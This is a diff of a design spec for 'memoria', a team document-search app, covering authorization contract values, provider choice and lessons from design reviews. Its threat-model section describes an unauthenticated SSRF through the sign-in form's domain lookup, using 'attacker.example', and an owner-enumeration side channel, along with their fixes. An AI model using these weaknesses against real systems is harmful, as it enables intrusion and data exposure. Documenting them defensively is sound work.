+| 13 | **The provider is TensorX, and memoria supports exactly one.** A team owner's choice is on or off, not which — a configurable base URL would let an owner reinstate a proxy while the answer still printed "one named provider". Chosen for EU jurisdiction and open weights, criteria decision 4 did not state, at a known cost in id-pinning and frontier quality (§8.3). | OpenRouter (a proxy: two parties see content); OpenAI direct (better id-pinning, worse jurisdiction and cost) | Paul, 2026-09-04, both halves — *"we go with exactly one for now: TensorX. If we want to swap that later we can."* Swapping the *generation* provider is a code change and a review, not a setting; swapping the *embedding* provider is that plus a full corpus re-embed unless the new host serves the same open weights (§8.3, §13) |
+| 14 | **memoria is a search page, not a chat.** One GET search form, `?q=`, one query in and one page out, with `/documents/{id}` as the only other passage surface. This follows from decision 5, not from decision 3 — §8.4's invariant is what decision 3 requires, and a conversational surface could satisfy it. | A chat UI with citations; a threaded follow-up. Deferred to §12, not forbidden — the invariant forbids the leak, this row chooses the shape | Spec author, 2026-09-04, answering a question Paul asked; **confirmed by Paul 2026-09-05**, parking the conversational surface in §12 rather than forbidding it |
+
+**Three of these are now suite rulings, and this spec cites them rather
+than restating them.** Decision 1 is **suite ruling 1**, decision 3 is
+**ruling 3**, decision 4 is **ruling 6**. They are unchanged in substance;
+what changed is where they live. Suite ruling 7 is why: every app spec
+restating the contract in its own words is what drifted, so an app spec
+cites the doctrine and never restates one. Where a row below still carries
+the reasoning, that is history and not a second copy — the binding text is
+the doctrine's, at `oficina/suite`, revision 7, commit `2b78680`.
+
+**Decision 11 is superseded** by ruling 4, and decisions 13 and 14 are
+memoria's own and stand: suite §8 adopts 13's "the recipient is the app's,
+never the team's", and ruling 3's "never cached, at any scope" is the
+invariant 14 rests on.
### 1.1 The proposal review, and what it killed
@@ -97,10 +140,13 @@ per-viewer copy*. They remain live traps for anyone widening this design.
never cached, never pushed.
- **The home cannot query memoria.** Home §0, home §2.2. **Accepted, not
worked around** — §9.2.
-- **Blocked on person refs** (home §13 step 4, not started). **Accepted,
- and now load-bearing**: decision 3's per-asker S2 needs a person ref,
- so memoria cannot ship before step 4. Same gate as Sheets and Docs, but
- memoria depends on it more deeply.
+- ~~**Blocked on person refs** (home §13 step 4).~~ **No longer true, and
+ it was the more expensive kind of wrong.** S2 needs a *typed asker
+ subject* (suite §3), which in lone shape is a lowercased address; sibling
+ tokens are a switch independent of the home token. So slice 1 runs
+ against Sheets and Docs before any home exists — suite §12 steps 2 and 3.
+ memoria had recorded itself blocked on something that was not in its way.
+ Corrected 2026-09-05 via A.4; §11.
**A citation note.** That review is recorded in session memory and in
this section; it is **not** in any repo file, so a reader cannot open it.
@@ -190,8 +236,16 @@ plausible-empty-list failure the same draft claimed to have removed.
**S3 could not do what it promised.** It took `(id, revision)` with no
asker, yet claimed the sibling "re-runs its grants join at fetch time".
-There was no person in the call. **Fixed:** S3 carries the person ref too
-(§6.1).
+There was no person in the call. **Fixed by deleting the claim, not by
+adding a person:** S3 takes no asker, and §6.1 spells out why — custody is
+person-less, so the call that fills the corpus can be made at all, and a
+per-person S3 would have made ingest impossible.
+
+*This paragraph said the opposite until 2026-09-05 — "S3 carries the
+person ref too" — while §6.1 three sections later said it does not. Both
+could not be right, and the summary was the wrong one. Caught by the suite
+doctrine's review of memoria (A.4), which is the third time in this
+document that a §1 summary and its own body have disagreed.*
**Derived artefacts had no algorithm for external or mixed provenance** —
S2 exists only at siblings. **Fixed** in §5.2.
@@ -337,6 +391,276 @@ fingerprints under the DEK — verified in `internal/memoria/store.go`,
which calls `s.sealer.Fingerprint`, and the sealer holds the DEK. A gate
that goes red on correct code is worse than no gate.
+### 1.7 What the provider review changed
+
+The §8.3 amendment — OpenRouter out, TensorX in — was written by Opus and
+reviewed by Fable, which returned REQUEST CHANGES with four MAJOR findings.
+Two of them are the same mistake in different clothes, and it is the
+mistake §1.4 is about: **stating a rule and then breaking it in the
+paragraph that states it.**
+
+**§8.2 wrote a pinning rule its own selections failed.** The rule — a model
+id that can move under a team without the team changing it cannot be
+printed on an answer — is right, and generalises `openrouter/auto`'s
+disqualification properly. Then it selected `moonshotai/kimi-k3` and
+`z-ai/glm-5.3-flash`, neither datestamped, both plausibly aliases over
+dated checkpoints. The fix is a datestamped id where one exists, gate 30's
+canary where none does, and §13 recording that the vendor's id-immutability
+policy is unread. The draft had even quoted the one datestamped id in the
+catalogue as evidence — and it was the model it did not pick.
+
+**§8.3 claimed as established what §13 called untested**, three paragraphs
+apart. Worse, the verification it proposed could not have established it:
+the live call settles whether one model *name* is proxied, not whose GPUs
+run the weights. "One contractual counterparty" is not "one organisation
+sees the corpus" — a subprocessor sees content in §3.2's sense — so the
+claim is now written as narrowed rather than closed.
+
+**§7.2 specified a gate that could not fail.** It said a mutation of the
+4096→512 renormalise would be caught by watching recall fall. But cosine
+similarity is scale-invariant: against a true cosine, skipping the
+renormalise changes no ranking, and the gate stays green forever. The spec
+had never said whether search computes cosine or a raw dot product. It now
+says dot product — which is what §7.3's flop count always assumed — and
+gate 28 asserts unit norm deterministically instead of inferring it from
+quality. This is the fourth gate in this project to have been written in a
+shape that could not go red, and the first caught before it was built.
+
+**Decision 13 exists because of this review.** The amendment named a
+provider in §8.3 without recording the ruling in §1, which AGENTS.md says
+is how a settled decision gets relitigated in a drive-by.
+
+The general lesson, distinct from §1.4's: **a rule and its first
+application should be reviewed by different people.** Whoever writes the
+rule has just persuaded themselves, and is the worst-placed reader to
+notice that the very next paragraph fails it.
+
+### 1.8 What the second provider review changed
+
+The §8.4 amendment — *memoria is a search page, not a chat* — was reviewed
+by Fable, which returned REQUEST CHANGES with five MAJOR findings. The
+ruling survived; the argument for it did not, and the way it failed is
+worth more than the ruling.
+
+**The case was built on a misreading of this spec.** §8.4 claimed a chat
+could not be built correctly, because re-authorizing a transcript each turn
+would breach §6.5's deadline. §4.1 caps a batch at **256 pairs per call**
+and §6.5 says **one page is one round of concurrent calls, the floor is the
+slowest sibling and not their sum**. A four-turn transcript of eight
+passages is 32 pairs: one batch, one round, the same floor as a fresh
+query. A correct chat is affordable. The draft had also conceded the point
+in the act of denying it — *"re-authorizing the whole transcript on every
+turn is the only correct version"* says a correct version exists.
+
+**Its other argument proved too much.** *A chat transcript is a cache of
+authorized passages* — true, and equally true of a search results page left
+open in a tab, and of `/documents/{id}`, which renders a whole document and
+stays open indefinitely. That is a fact about rendered pages, not about
+chat; it now sits in §3.2's leak list where it applies to everything.
+
+**What survived is narrower and enforceable.** The real rule is about
+**re-speaking**: no passage crosses a request, in a response or in a model
+prompt, without §4.1 in the request that carries it. That is decision 3
+applied to rendering, it is what §8.5 already said about the model, and
+gate 32 asserts it against the prompt builder. Carrying query *text*
+forward breaks nothing.
+
+**And the shape is a choice, so it is recorded as one.** Decision 14 rests
+on decision 5 — the search floor is the product — not on decision 3. A
+conversational surface that keeps the invariant is deferred to §12, to be
+argued on its merits. The row is attributed to the spec author with Paul
+unconfirmed, because unlike decision 13's two halves it was not his ruling.
+(He confirmed it on 2026-09-05; the attribution stands as written, since
+who *made* a ruling and who *approved* it are different facts.)
+
+The lesson, distinct from §1.4's unfailable gates and §1.7's rule broken in
+the paragraph that states it: **a preference will always find a rule that
+seems to compel it.** The search page was the right answer for
+decision 5's reasons. Reaching past those for decision 3 made a choice look
+forced, and cost two misread sections to do it. When a constraint arrives
+conveniently, check it against the text rather than the memory of the text.
+
+### 1.9 What the gate review changed, and the rule it produced
+
+The branch's third review covered gate 17 and the live-key verification.
+Fable returned REQUEST CHANGES with three MAJOR findings, and one of them
+is the most useful thing any review has done here.
+
+**It mutation-tested the gate itself.** Gate 17 shipped with a comment
+naming three mutations, each verified red. A reviewer took the test into a
+scratch copy and tried five more — all ordinary chi and `ServeMux` idioms,
+none exotic — and **all five passed green.** `r.Route("/chat", …)` was
+blessed by the declared `"/"` inside it. `r.With(mw).Post` was invisible
+because the receiver is a call, not an identifier. `r.Delete` passed on a
+path declared only for GET. `r.Handle("/")` bound every method at once. And
+`mux.HandleFunc("/documents", …)` served a **declared** path while
+bypassing `requireSession` — worse than an undeclared route, because the
+allowlist actively approved it.
+
+**The rule that follows, and it belongs in AGENTS.md:** mutation-testing
+your own gate tests the mutations you thought of, and those are the ones
+you already defended against while writing it. Three green mutations chosen
+by the author is not evidence the gate works; it is evidence the author is
+consistent. **The mutations must be chosen by someone who did not write the
+gate.** This is §Review's argument, one level down: the reviewer of a rule
+should not be its author, and neither should the adversary of a test.
+
+The rewrite keys on method *and* path — which §10's own list had declared
+all along and the test had not implemented — and separates the chi and
+`ServeMux` namespaces. Eight mutations now, all verified. The rewrite also
+nearly shipped its own bug: following an arbitrary selector chain to find
+the receiver made `r.URL.Query().Get("err")` resolve to `r`, reporting two
+query parameters as undeclared routes. Caught by running it.
+
+**The other two MAJORs are the familiar shape.** §8.3 still asserted
+TensorX "runs the weights it serves" on the strength of a 403 that had no
+control probe — the reading recorded was the middle of three, and the worst
+one is that the model name is in their routing table and merely gated. And
+two of Paul's four rulings were announced as recorded in QUESTIONS while
+being in neither §1 nor §13, with the interpretation of the load-bearing
+one living only in a commit message. That is §1.8's failure by omission:
+the strong reading asserted where reviewers do not look.
+
+### 1.10 What the adoption review changed, and where an adoption goes wrong
+
+A.4 was reviewed three times in the suite repo before memoria adopted it.
+memoria's *application* of it was then reviewed once, by Fable, and came
+back REQUEST CHANGES with a blocker and nine majors. The distribution is
+the lesson.
+
+**The blocker was a rule invented while citing the section that forbade
+it.** §4.1 needed the custody intersection. The doctrine puts it in the
+**app of record, inside S2**: the sibling runs its grants join for the
+named asker and then answers `NOT_VISIBLE` for anything not team-visible.
+memoria wrote instead that it would render a passage when S2 says
+`VISIBLE` **and** the item was team-visible *when acquired* — a rule that
+is **vacuous** (everything memoria holds came through S3, which serves
+only team-visible items, so the second half is true of every held item),
+that **does not close the leak** (a document downgraded from `team` to
+`granted` with the asker's grant intact passes both halves), and that
+**argued against the doctrine's own mechanism** as a ruling-3 violation.
+The doctrine had explicitly retracted that reasoning — *"a later
+visibility change is exactly what the defect turns on"* — in the section
+memoria cited for it.
+
+**The other eight majors are one shape: the commit checked what it
+opened.** S7 was retired in §1 and §4.3 and left alive in the §6.1
+contract table, in §6.5's warm-up, in §4.1's "this subsumes membership",
+in §2's members table and in five §13 items still listed as open after
+this commit closed them. §11 corrected the home dependency in one
+paragraph and reasserted it twelve lines below, in the same commit. The
+Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
+§13. The blanket write ban went from §6.4 and stayed load-bearing in §3.3,
+§8.5 and decision 10's rejected column.
+
+**The rule, and it is specific to adopting someone else's document:** the
+risk in an adoption commit is concentrated in the sections you did *not*
+open. A rewritten section has been read twice; an untouched one that
+depended on the old rule has been read never, and it now contradicts the
+new one while looking untouched and therefore fine. **Grep for the retired
+thing by name before claiming it is retired** — `S7`, `person_ref`,
+`members table`, `forbidden by §6.4` — and read every hit.
+
+Two smaller ones worth keeping. §4.1 had inverted *why* the asker subject
+is typed, saying the type is fixed at configuration because instances are
+provisioned together — which is the reasoning suite §3 names and rejects,
+"an operational habit, not an enforced property". And gate 21 claimed its
+fixtures had been replaced; there were never any fixtures, the gate does
+not exist, and the entry now says so.
+
+**A postscript, because the same mistake then happened twice more in one
+hour and neither instance was caught by a rule that exists to catch it.**
+On 2026-09-06 this branch merged a local `main` that was **five commits
+behind the remote**, having compared the wrong ref; in the same hour the
+suite session read `617eb2a` — this branch's base — as memoria's `main`
+and concluded draft 5 was unmerged, then made a doctrine ruling partly on
+that belief. Remote `main` was `9b55ab8` and carried draft 5 the whole
+time. Two sessions, two directions, one unrun command: **fetch before you
+read a ref you did not just write.** It is in suite AGENTS.md already,
+which is the point — a rule nobody runs is a rule that catches nothing,
+and it is now three-for-three at catching nothing.
+
+**And a second lesson from the same exchange, which is the suite session's
+and is the more useful of the two: cite the ref, not the claim.** A claim
+arriving from a peer gets *less* scrutiny than one arriving from a file,
+and it should get more — a file can be opened at the commit you name,
+while a peer's claim carries no provenance at all. You cannot see which
+checkout they read, whether they fetched, or whether they were quoting or
+remembering. Both of this week's cross-repository mistakes have that
+shape: a doctrine ruling made on something memoria told the suite, and a
+memoria merge made on something the suite implied. **When you tell another
+repository a fact about this one, give the commit it is true at. When one
+tells you, check it before you rule on it.**
+
+**And a rider the suite session earned the hard way an hour later: citing
+the ref is not enough if you read it with a tool that sees one line at a
+time.** Its check of this fix grepped for a rule that spans two lines, got
+zero matches, and came within one message of reporting that nothing had
+been fixed. A false negative from a correct ref is worse than not checking,
+because it arrives with the authority of having looked. Read the
+surrounding lines; a count of zero is a claim like any other.
+
+**One finding was wrong, and how it was wrong is worth as much.** The
+review could not resolve `6797bbf` or `4aea8f4` and said §13's blocker was
+therefore not shown closed. The hashes are correct — they are
+`refs/heads/main` on the hub, confirmed by `git ls-remote` — but every
+local checkout on this box is behind, because `amadan branch merge` lands
+on the remote and touches no working tree. The reviewer was right that the
+claim was unverifiable *as written*, and §13 now says which ref the hashes
+are on and how they were checked. A citation that only resolves for
+whoever wrote it is not a citation.
+
+### 1.11 What the merge review changed
+
+The branch merged eighteen commits of `main` — the Notion connector,
+multi-file drop, draft 5 — and was then reviewed as a whole. REQUEST
+CHANGES, eight MAJOR. **Every one of them was in something the merge did
+not open**, which is §1.10's lesson arriving for the fifth time and the
+reason it is now a rule in AGENTS.md rather than an observation.
+
+**Three were guards that could not have worked.**
+
+`.gitignore` was committed **with conflict markers in it**, and `make ci`
+was green throughout, because git parses the marker lines as harmless
+patterns. A broken file that no gate in this repository can read.
+
+The egress gate's sibling exemption cited
+`sibling.TestClientRefusesHostsOutsideTheTeam` as the runtime guard paying
+for it. There was no such test. Every test in the package built its own
+`&http.Client{}`, so nothing exercised `suite.NewSiblingClient` and a
+constructor returning a client with no team check and no redirect refusal
+would have stayed green. AGENTS.md's second named failure — a gate naming a
+test that is not there — inside the comment claiming the payment.
+
+And "one predicate" was not true of production: `main.go` passed
+`Admits(cfg.Owners)` to `NewAuth` and separately called
+`SetOwners(cfg.Owners)`, two closures over two copies of one rule, while
+`handlers.go` asserted there was "no second value to disagree with". The
+fix is not a gate: `Admits` is deleted and `app.Admit` is a method on the
+one list, so there is nothing to build twice.
+
+**Four more were mutations the author had not thought of**, found in the
+sibling client after five author-chosen ones had all gone red. The worst
+rendered a *count* for `NOT_VISIBLE` — the one value that must be silent —
+telling a reader how many things they may not see. The most instructive
+bounded the deadline against itself, so `Deadline = 30s` passed and a page
+could hang for half a minute with the suite green. **A test that measures a
+constant against itself measures nothing.**
+
+**And the rest were the merge's own seams.** `S7` came back into §4.3 and
+decision 11 from a branch written before ruling 4. §2 contradicted itself
+four lines apart. §13 carried two lists arguing — an item truncated
+mid-sentence, the same question live in one copy and struck in another, a
+header counting four items of which two were dead. Twelve gate citations
+pointed at the wrong gates after the renumbering, one sentence naming the
+same gate under two numbers.
+
+**The lesson that is new**, and it is about reviewing rather than writing:
+this pass found more than the four before it combined, and it found it by
+comparing the merge against *both parents* rather than reading the result.
+A merge is the one change where reading the output cannot tell you what is
+missing.
+
---
## 2. What memoria is
@@ -348,20 +672,28 @@ index and answers questions over it with citations.
**It has no members table**, and draft 3 said it did — in this sentence,
word for word from draft 2, three sections before decision 11 rejected
the table. A reader of §2 built it; a reader of decision 11 did not.
-Admission is relayed from the siblings (§4.3).
+Admission is §4.3's.
**The owners list is not a roster, and draft 4 called it one four lines
above saying memoria never holds one.** The app refuses to start without
-a platform-configured owners list, and that list is decision 11's stated
-exception, not a small members table. What separates the two is not size:
-a roster answers "who is on this team", changes as people join and leave,
-and would have to be reconciled against the siblings that also answer it.
-The owners list answers "who operates this instance", is fixed at
+a platform-configured owners list. What separates the two is not size: a
+roster answers "who is on this team", changes as people join and leave,
+and would have to be reconciled against whoever else answers it. The
+owners list answers "who operates this instance", is fixed at
provisioning, does not grow one person at a time, and is reconciled
-against nothing because no sibling holds an opinion about it. Extending
+against nothing because nobody else holds an opinion about it. Extending
it per person would make it a roster, and that is the move decision 11
rejects.
+**Suite ruling 4 adds a third thing, and it is not either of those.** In
+suite shape memoria holds a *pulled copy* of the home's roster (suite call
+8, refreshed by epoch, §4.3). That is not a members table — memoria
+authors none of it and reconciles none of it — and it is not the owners
+list, which still answers a different question and still bypasses it. Three
+distinct things, and this branch briefly collapsed two of them by writing
+"its own roster copy" into the sentence above, four lines from the
+paragraph warning against exactly that.
+
**What it is for.** Nothing in the suite answers a question. Docs ships
title and metadata search; Sheets has a recency list; the home's call 3
says where your things are. Asking *"what did we decide about X"* and
@@ -370,10 +702,13 @@ getting an answer grounded in the team's own documents is the gap.
**What it never does.**
- **Never decides who may read sibling content.** It asks (§4.1).
-- **Never holds a team roster.** Admission is relayed from the siblings,
- and refused when none of them will vouch (§4.3). The
- platform-configured owners list is not one, for the reasons above, and
- is decision 11's one exception.
+- **Never *authors* a roster**, which is the claim that survives ruling 4.
+ It holds the home's, as a pulled copy refreshed by epoch (§4.3), and it
+ reconciles none of it and writes none of it. In lone shape there is no
+ roster at all and admission is the owners list. *This bullet said
+ "never holds a team roster. Admission is relayed from the siblings" until
+ 2026-09-06, four lines below the paragraph describing the pulled copy —
+ and §4.3 by then asked no sibling anything.*
- **Never writes to a sibling**, and exposes no sibling-facing surface.
- **Never acts as a person.** It holds no signing key; every assertion's
`aud` binds to "app + instance host" (home §5.3).
@@ -425,7 +760,21 @@ edges alone reveal which passages resemble each other.
**From the bucket:** document and chunk counts; sealed blob sizes; source
app and coordinates per chunk, plaintext exactly as Sheets §2.2 keeps
coordinates; ingest and update timestamps, therefore which sources are
-busy and when; embedding dimension, therefore the model.
+busy and when; embedding dimension — though "therefore the model", as this
+line read until draft 3, overstated it even then: the design has always
+stored 512, which under OpenAI was a requested `dimensions` and under §8.3
+is a truncation of a native 4096. Either way the stored width names a
+choice of ours. It narrows the candidate models; it does not name one. Do
+not lean on that.
+
+**From a rendered page.** A response body is a copy in someone's browser,
+and no revocation reaches it. A results tab left open on Tuesday still
+shows Tuesday's authorized snippets on Friday; `/documents/{id}` shows a
+whole document for as long as it stays open. This is true of every surface
+memoria has or could have, so it is not an argument against any particular
+one (§8.4 tried to use it as one and was wrong). memoria's guarantee ends
+at the response body, and §8.4's invariant is what keeps the *next*
+response honest.
**From a live host — the largest entry, and new.** A compromised memoria
host reaches the team's corpus across every app at once, plus §5.1's
@@ -457,15 +806,33 @@ year-long history of who was locked out of what. The alternative is a
breaker that cannot fire (in-memory, reset every wake), which §8.1 rejects
because a guard that is off reads as a guard that found nothing.
-**From the sign-in form, to anyone at all.** rastrillo's classifier
-fetches `https://<the address's domain>/.well-known/keymail` when a
-sign-in begins, and it does so **before** the admission gate — so an
-anonymous visitor who types `anyone@attacker.example` makes this instance
-dial `attacker.example`. What that yields is the instance's existence,
-reachability, egress address and a timing channel; no content. It is
-listed because draft 3 previously let the product claim "nothing leaves
-this instance", which this makes false. The fix is not memoria's to make
-alone (§13).
+**From the sign-in form — and this entry understated it for three
+drafts.** rastrillo's classifier resolves and fetches the submitted
+address's domain when a sign-in begins, **before** the admission gate. The
+entry used to stop at "the instance's existence, reachability, egress
+address and a timing channel; no content", which is what an *arbitrary
+domain* buys. Reading the fetcher on 2026-09-05 showed it buys more: the
+`host=` in a domain's `_keymail` TXT record is taken verbatim, with no
+allowlist, no scheme or port restriction and no private-range check, and
+fetched by a client that follows redirects. **So the destination is the
+submitter's to choose, not merely the domain's** — an unauthenticated SSRF
+whose reach is whatever this instance's network can reach.
+
+**memoria's half is closed** (gate 33): the admission predicate now runs
+before the classifier, so an unadmitted address produces no DNS query and
+no fetch. **Two things that does not fix.** An *owner* still reaches the
+unhardened fetcher, and every other rastrillo app is untouched — the real
+fix is upstream (§13, and `SECURITY-DRAFT-rastrillo-signin.md`). And the
+guard sits in front of signin's per-address rate limiter, so **an owner
+and a stranger become distinguishable after five submissions** — the
+owner's sixth answers `?err=rate`, the stranger's answers `?sent=1`
+forever, and refused addresses consume no per-IP budget, so enumerating
+the owners list is unthrottled. That is a smaller leak than the dial and
+it is a real one; the budget is inside signin and cannot be reached from
+here.
+
+This is listed because draft 3 let the product claim "nothing leaves this
+instance", which it makes false.
**Not a leak, corrected:** a document's `external_id` was an unkeyed
SHA-256 of its body, which let anyone holding the bucket and a candidate
@@ -541,8 +908,13 @@ backwards.**
ever held.** §3.5 mitigates it.
**What memoria does not do is weaken its siblings' sealing.** It holds no
-sibling's DEK, gains no write path (§6.4), and cannot read a sibling's
-individually-granted content, because S3 404s it.
+sibling's DEK, cannot read a sibling's individually-granted content
+because S3 404s it, and **gains no write path except suite §7's two, which
+are narrower than "no writes" and differently shaped** (§6.4): a person's
+own hand-off, carried by their browser under their own session, and S8 as
+memoria itself into an area the team owner designated for it. Neither
+gives memoria a capability over a sibling's content; the first is not
+memoria writing at all.
### 3.4 A citation is exactly as trustworthy as the app it cites
@@ -615,15 +987,133 @@ Every path that would speak a passage originating in a sibling app calls
**S2** first, carrying the asker:
```
-S2(person_ref, [(item_id, revision), …])
- → per item: VISIBLE | NOT_VISIBLE | STALE | AHEAD | UNKNOWN
+S2(subject, [(item_id, revision), …])
+ → per item: VISIBLE | NOT_VISIBLE | STALE | UNKNOWN
+
+ (memoria also wants AHEAD; the contract cannot carry it yet — below)
```
+**The asker is a typed subject, and the type travels on the wire**
+(suite §3): `{kind: person_ref | address, value}` — a person ref in suite
+shape, a lowercased address in lone shape. *On the wire* is the point, and
+this spec first got it backwards by saying the type is fixed at
+configuration because two instances that talk were provisioned together.
+The doctrine names that exact reasoning and rejects it: **"provisioned
+together" is an operational habit, not an enforced property.** With the
+kind on the call, a receiver that keys on the other one answers `UNKNOWN`
+for the whole call rather than guessing — which is a loud failure instead
+of a silent mismatch between an address and a person ref that happen to
+collide. Suite gate 2 tests it, and memoria's gate 6 gains the case.
+
The sibling answers from the grants join it already maintains — Sheets
§4.5, "rows this team can see, plus rows granted to me individually,
minus rows I have been removed from". memoria evaluates none of it.
-**Five-valued, and each value exists because collapsing it into another
+**`AHEAD` is adopted and not yet shipped. Settled 2026-09-06 as suite
+doctrine revision 10, on memoria's argument.**
+
+Draft 4 added `AHEAD` for the case where the *sibling* is behind — its log
+stops short of the revision memoria holds, or it has no row for the item
+at all — and the reasoning is good: `STALE` means memoria is behind and
+refetching fixes it, `NOT_VISIBLE` is the silent value and would delete
+history the sibling still has, and `UNKNOWN` "would report no answer when
+the sibling answered". Three wrong homes, so a fourth value.
+
+Suite revision 7 had ruled the case `UNKNOWN`; **revision 10 replaces
+that with `AHEAD`**, in the shape memoria proposed and with one half
+declined — see below. The module carries it on an unmerged branch, so the
+version this repository pins (`60b01a8`) still has four constants.
+
+**So the wire shape above is four values today and five when the module
+ships**, and every reference to `AHEAD` in this spec is written against the
+five-value design. That is a shipping lag, not a disagreement, and the
+distinction matters: nothing here needs redesigning, and nothing here can
+be built until the module lands. Suite CI is unconfigured, which is what
+holds it (§13).
+
+**How it got settled, because the route matters more than the outcome.**
+
+Record the doctrine's reasoning as the doctrine records it: suite §4.3
+attributes the `UNKNOWN` ruling to *its own GPT-6 review, finding 11* —
+never `VISIBLE`, because that authorises a revision nobody can vouch for;
+never `NOT_VISIBLE`, because that is the silent value — and its trigger was
+**draft 3's open §13 item**, not a question from this branch. It weighed
+two of draft 4's three wrong homes. What it did not weigh is the third:
+that `UNKNOWN` reports no answer when the app of record answered, precisely
+about its own log.
+
+*An earlier version of this paragraph said the suite "was asked by this
+branch, which had not read draft 4, and answered without memoria's argument
+in front of it". That is wrong twice — it credits this branch with the
+question and the doctrine with none of the reasoning — and it is the more
+embarrassing way to be wrong, because it makes another repository's
+careful work look like an accident of mine.*
+
+The argument that carried it was not the original one. The suite's
+objection — that `AHEAD` for an item with **no row at all** opens an
+id-existence oracle — was right and that half is withdrawn (§4.1's no-row
+rule above). What survives is the half that does not leak: **a revision
+beyond the sibling's log, for an item it still admits.**
+
+And the reason that case cannot be handled by the feed instead: a
+**whole-log** restore rewinds the sibling's cursor, and S1a re-announces
+unasked. A **partial** restore — a content table restored without its event
+log — leaves the cursor perfectly valid, so nothing fires and nothing can,
+because from the log's point of view nothing happened. Only a per-item
+answer can see it. The two mechanisms are complementary, not overlapping.
+
+Until the module ships, memoria maps the case to `UNKNOWN` and **loses the
+distinction between "the sibling answered, and is behind" and "the sibling
+did not answer"** — the collapse `AHEAD` was cut to prevent. §13 carries
+it as a shipping dependency rather than an open question.
+
+**The sibling intersects its own answer with custody, and memoria depends
+on that** (suite §4.3, and the S2 row of suite §6):
+
+> S2's answer is intersected with custody. The app of record runs its
+> grants join for the named asker, and then answers `NOT_VISIBLE` for any
+> item that is not team-visible, **whatever the asker's individual grants
+> say**.
+
+Read Sheets §4.5 again — *"plus rows granted to me individually"* — and the
+reason is immediate. An item that leaves team-visibility appears in S1 as
+`gone`, which §4.2 requires to be **indistinguishable from deletion**. An
+unintersected S2 distinguishes them perfectly: `VISIBLE` for the one that
+went private, when a grantee is the asker, and `NOT_VISIBLE` for the one
+that was deleted. That is the leak the S1 visibility flag was removed to
+prevent and the leak S3's "404, never 403" was designed to prevent,
+arriving on the third call.
+
+**The cost is real and it is memoria's to disclose.** A person who still
+holds an individual grant loses that passage here, and any answer built on
+it, while the document stays open to them in the app of record. That is
+the price of §4.2's indistinguishability and it cannot be avoided while
+that promise stands. memoria's honest move is §6.5's: name the app the
+answer went to, rather than quietly return a shorter one.
+
+**What memoria must do about it**, since the mechanism is the sibling's:
+depend on it, and refuse to trust an S2 that has not demonstrated it.
+Before memoria consumes a sibling's S2, that sibling passes suite gate 3 —
+*the same item id answers `NOT_VISIBLE` in each state* — including the
+transition fixture: ingested while `team`, downgraded to `granted` with
+the asker's grant intact, asked before `gone` arrives.
+
+*An earlier version of this paragraph put the intersection on memoria's
+side, as "S2 says VISIBLE **and** the item was team-visible when
+acquired". Three things were wrong with it and a review found all three.
+It was **vacuous** — everything memoria holds arrived through S3, which
+serves only team-visible items, so the second half is true of every held
+item and false of none: a guard written to pass. It **did not close the
+leak**, because the downgrade-with-grant case passes both halves. And it
+**argued against the doctrine's actual mechanism** as a ruling-3
+violation, when a sibling applying its own two rules to its own answer is
+not authorization cached or asked per person. The doctrine had already
+retracted exactly that reasoning — "a later visibility change is exactly
+what the defect turns on" — and this spec re-adopted it while citing the
+section that retracted it.*
+
+**Five-valued in memoria's design, four on the wire today** (see `AHEAD`
+above), **and each value exists because collapsing it into another
produces a plausible empty list — the failure shape sheets-core AGENTS.md
names as the worst available.**
@@ -632,7 +1122,7 @@ names as the worst available.**
| `VISIBLE` | this person may read this revision | render it |
| `NOT_VISIBLE` | this person may not read it | omit it silently — correct, and the only value that may be silent |
| `STALE` | the item exists and is readable, but the sibling has moved past this revision | **withhold loudly and refetch.** Not a denial |
-| `AHEAD` | the sibling does not have this revision at all: memoria holds history the sibling does not. **Two shapes, one value** — the sibling's log stops short of this revision, or the sibling has no row for this item whatsoever | **withhold loudly and re-announce.** Not a denial, and not a reason to delete |
+| `AHEAD` | **the sibling's log stops short of this revision, for an item it still admits.** memoria holds history the sibling does not. **One shape, not two:** an item the sibling has no row for at all is `NOT_VISIBLE`, because `AHEAD` there would tell a caller which ids exist (§4.1 below, suite gate 3). This row read "two shapes, one value" until 2026-09-06 and contradicted the rule four sections down | **withhold loudly and re-announce.** Not a denial, and not a reason to delete |
| `UNKNOWN` | the sibling did not answer usefully | withhold loudly |
**`STALE` is here because draft 2 did not have it**, and mapped a stale
@@ -662,16 +1152,43 @@ and the re-announce is what reconciles the two. Wholesale `AHEAD` from
one sibling is a restore signal and §8.1's third breaker names it as one,
rather than as the mis-scoped predicate it is not.
-**Why "no row at all" is `AHEAD` and not `NOT_VISIBLE`.** A sibling that
-has never heard of an item memoria holds is in the same position as one
-whose log stops short of it: memoria holds history the sibling does not.
-An ordinary deletion does not arrive this way — it arrives as an `S4`
-tombstone on the feed (§6.1), which is a positive statement that the item
-is gone. Silence is not that statement. Mapping it to `NOT_VISIBLE` would
-put a history gap on the one value that may be silent, which is the
-mistake `AHEAD` was cut to fix; mapping it to `UNKNOWN` would report no
-answer when the sibling answered. So it is `AHEAD`, and whether the item
-is gone for good is settled by the re-announce, not by S2.
+**"No row at all" is `NOT_VISIBLE`, and draft 4 had it as `AHEAD`.**
+Corrected 2026-09-06 against suite §4.3, which governs. The argument for
+`AHEAD` was good and is kept below, because the cost of overruling it is
+real and should not be lost:
+
+> A sibling that has never heard of an item memoria holds is in the same
+> position as one whose log stops short of it: memoria holds history the
+> sibling does not. An ordinary deletion does not arrive this way — it
+> arrives as an `S4` tombstone on the feed, a positive statement that the
+> item is gone. Silence is not that statement. Mapping it to
+> `NOT_VISIBLE` puts a history gap on the one value that may be silent.
+
+**What it missed is an oracle.** `NOT_VISIBLE` and `AHEAD` are
+distinguishable, so a consumer that can name an id learns which ids
+*exist*: `AHEAD` for one nobody holds, `NOT_VISIBLE` for one held
+privately. Suite gate 3 requires S2's answer to be byte-identical across
+private, granted, guest-only, link-shared-but-not-team **and deleted**,
+precisely so ids cannot be enumerated — and this rule would have opened,
+on the last call, the enumeration §4.2's indistinguishability and S3's
+"404, never 403" were both built to deny. A value cut to close a silent
+failure would have opened an existence leak instead.
+
+**And caller discipline does not save it.** memoria only ever asks S2
+about ids it received on S1, so *memoria* can name no id it was not told
+about — but the S2 row is a contract **siblings implement**, answerable to
+any consumer holding a token, and §3.2's leak list already contemplates a
+compromised one. A rule that is safe only while every caller behaves is
+not a property of the answer.
+
+**So the cost is carried rather than avoided, and it is stated here.** A
+sibling whose restore lost a row entirely is now indistinguishable from
+one enforcing a denial, and memoria cannot tell them apart from S2 alone.
+What settles it is the S4 tombstone and the re-announce — reconciliation
+after the fact, not an answer at the point of the question. `AHEAD`
+survives for the shape that does not leak: **a revision beyond the log,
